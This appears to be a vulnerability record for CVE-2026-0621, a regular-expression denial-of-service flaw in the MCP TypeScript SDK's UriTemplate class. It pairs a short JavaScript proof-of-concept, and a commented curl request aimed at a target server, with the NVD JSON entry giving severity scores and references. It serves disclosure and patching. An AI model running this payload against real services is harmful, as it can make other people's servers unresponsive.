CVE-2026-0621

// CVE-2026-0621 PoC - MCP TypeScript SDK UriTemplate ReDoS // Target: Anthropic MCP TypeScript SDK <= 1.25.1 // Malicious URI that triggers catastrophic backtracking const maliciousUri = '/v1/compile?' + 'param=' + 'a'.repeat(30); // Example exploit using the vulnerable UriTemplate class const { UriTemplate } = require('@modelcontextprotocol/typescript-sdk'); // Initialize the UriTemplate with exploded array pattern const template = new UriTemplate('/v1/compile{?param*}'); console.log('Starting ReDoS test with malicious URI...'); const startTime = Date.now(); try { // This will trigger catastrophic backtracking const result = template.match(maliciousUri); console.log('Match completed in', Date.now() - startTime, 'ms'); } catch (e) { console.log('ReDoS triggered - Process became unresponsive'); } // Alternative: Send HTTP request to trigger the vulnerability // curl 'http://target:3000/v1/compile?param=' + 'a'*1000

{"cve": {"id": "CVE-2026-0621", "sourceIdentifier": "[email protected]", "published": "2026-01-05T21:16:14.533", "lastModified": "2026-01-30T01:16:59.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Anthropic's MCP TypeScript SDK versions up to and including 1.25.1 contain a regular expression denial of service (ReDoS) vulnerability in the UriTemplate class when processing RFC 6570 exploded array patterns. The dynamically generated regular expression used during URI matching contains nested quantifiers that can trigger catastrophic backtracking on specially crafted inputs, resulting in excessive CPU consumption. An attacker can exploit this by supplying a malicious URI that causes the Node.js process to become unresponsive, leading to a denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mcp_typescript_sdk:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.25.1", "matchCriteriaId": "202F86B2-BC6C-4F68-9579-84F6F266CF78"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/typescript-sdk/issues/965", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.vulncheck.com/advisories/mcp-typescript-sdk-uritemplate-exploded-array-pattern-redos", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/modelcontextprotocol/typescript-sdk/issues/965", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}